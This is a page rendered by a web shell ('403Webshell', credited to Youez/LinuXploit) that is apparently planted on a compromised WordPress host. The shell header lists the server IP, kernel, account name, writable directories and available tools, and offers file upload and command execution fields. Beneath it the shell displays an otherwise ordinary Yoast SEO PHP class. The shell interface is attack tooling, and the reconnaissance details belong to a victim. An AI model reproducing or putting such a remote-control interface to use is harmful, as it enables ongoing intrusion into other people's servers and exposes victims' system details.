403Webshell
Server IP : 104.21.14.103  /  Your IP : 3.145.54.75
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/cwd/wp-content/plugins/wordpress-seo/inc/indexables/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/cwd/wp-content/plugins/wordpress-seo/inc/indexables/class-indexable.php
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Indexables
 */

/**
 * Class WPSEO_Indexable.
 */
abstract class WPSEO_Indexable {

	/**
	 * The updateable fields.
	 *
	 * @var array
	 */
	protected $updateable_fields = [];

	/**
	 * The indexable's data.
	 *
	 * @var array
	 */
	protected $data;

	/**
	 * The available validators to run.
	 *
	 * @var array
	 */
	protected $validators = [
		'WPSEO_Object_Type_Validator',
		'WPSEO_Link_Validator',
		'WPSEO_Keyword_Validator',
		'WPSEO_Meta_Values_Validator',
		'WPSEO_OpenGraph_Validator',
		'WPSEO_Robots_Validator',
		'WPSEO_Twitter_Validator',
	];

	/**
	 * Indexable constructor.
	 *
	 * @param array $data The data to use to construct the indexable.
	 */
	public function __construct( $data ) {
		$this->validate_data( $data );

		$this->data = $data;
	}

	/**
	 * Converts the meta value to a boolean value.
	 *
	 * @param string $value The value to convert.
	 *
	 * @return bool|null The converted value.
	 */
	protected static function get_robots_noindex_value( $value ) {
		if ( $value === '1' ) {
			return true;
		}

		if ( $value === '2' ) {
			return false;
		}

		return null;
	}

	/**
	 * Determines whether the advanced robot metas value contains the passed value.
	 *
	 * @param int    $object_id The ID of the object to check.
	 * @param string $value     The name of the advanced robots meta value to look for.
	 *
	 * @return bool Whether or not the advanced robots meta values contains the passed string.
	 */
	protected static function has_advanced_meta_value( $object_id, $value ) {
		return strpos( WPSEO_Meta::get_value( 'meta-robots-adv', $object_id ), $value ) !== false;
	}

	/**
	 * Validates the data.
	 *
	 * @param array $data The data to validate.
	 *
	 * @return bool True if all validators have successfully validated.
	 */
	protected function validate_data( $data ) {
		foreach ( $this->validators as $validator ) {
			// This is necessary to run under PHP 5.2.
			$validator_instance = new $validator();

			$validator_instance->validate( $data );
		}

		return true;
	}

	/**
	 * Updates the data and returns a new instance.
	 *
	 * @param array $data The data to update into a new instance.
	 *
	 * @return WPSEO_Indexable A new instance with the updated data.
	 */
	abstract public function update( $data );

	/**
	 * Filters out data that isn't considered updateable and returns a valid dataset.
	 *
	 * @param array $data The dataset to filter.
	 *
	 * @return array The updateable dataset.
	 */
	public function filter_updateable_data( $data ) {
		return array_intersect_key( $data, array_flip( $this->updateable_fields ) );
	}

	/**
	 * Returns the data as an array.
	 *
	 * @return array The data as an array.
	 */
	public function to_array() {
		return $this->data;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit